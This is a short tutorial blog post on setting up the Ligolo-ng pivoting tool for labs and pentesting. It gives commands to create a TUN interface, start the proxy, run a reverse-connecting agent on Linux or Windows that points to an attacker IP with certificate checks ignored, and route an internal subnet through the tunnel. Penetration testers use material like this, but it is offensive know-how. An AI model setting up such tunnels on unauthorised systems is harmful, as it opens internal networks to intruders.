What is Ligolo-ng?
Ligolo-ng is a very useful tool for pivoting and tunneling during lab environments, pentesting and offensive infrastructure preparation. It lets you route traffic toward internal networks through an agent and a proxy, without depending on a traditional VPN.
In this post I leave a basic and functional configuration to bring up the ligolo interface, start the proxy and connect the agent.
Prepare the TUN interface on the attacker machine
First, delete any previous configuration and recreate the interface:
# Remove previous configuration if it existssudo ip link delete ligolo 2>/dev/nullsudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upVerify the interface is up
ip link show ligoloYou should see the interface in the UP state.
Start the Ligolo-ng proxy
On the attacker machine:
cd ~/tools/ligolo/proxy./proxy -selfcert -laddr 0.0.0.0:11610That process will leave the proxy listening on port 11610. Don’t close that terminal while the session is active.
Connect the agent
On Linux
./agent -connect 10.10.14.157:11610 -ignore-certOn Windows
./agent.exe -connect 10.10.14.157:11610 -ignore-certWhen the agent connects, from the proxy you’ll be able to select the session and bring up the tunnel.
Start the session and route the internal network
After running start inside Ligolo-ng, add the route on your attacker machine toward the network you want to reach:
sudo ip route add 172.16.5.0/24 dev ligoloWith that, traffic destined for that network will be sent through the ligolo interface.
Summarized flow
# 1. Prepare interfacesudo ip link delete ligolo 2>/dev/nullsudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo up
# 2. Verifyip link show ligolo
# 3. Start proxycd ~/tools/ligolo/proxy./proxy -selfcert -laddr 0.0.0.0:11610
# 4. Connect Linux agent./agent -connect 10.10.14.157:11610 -ignore-cert
# 5. Connect Windows agent./agent.exe -connect 10.10.14.157:11610 -ignore-cert
# 6. After running start in Ligolo, add the routesudo ip route add 172.16.5.0/24 dev ligoloRecommendation
Before adding routes, check carefully which subnet the active session shows you and make sure you’re not clobbering routes that already exist on your attacker machine. If you work with several internal networks, documenting each segment and each interface saves you quite a few mistakes during pivoting.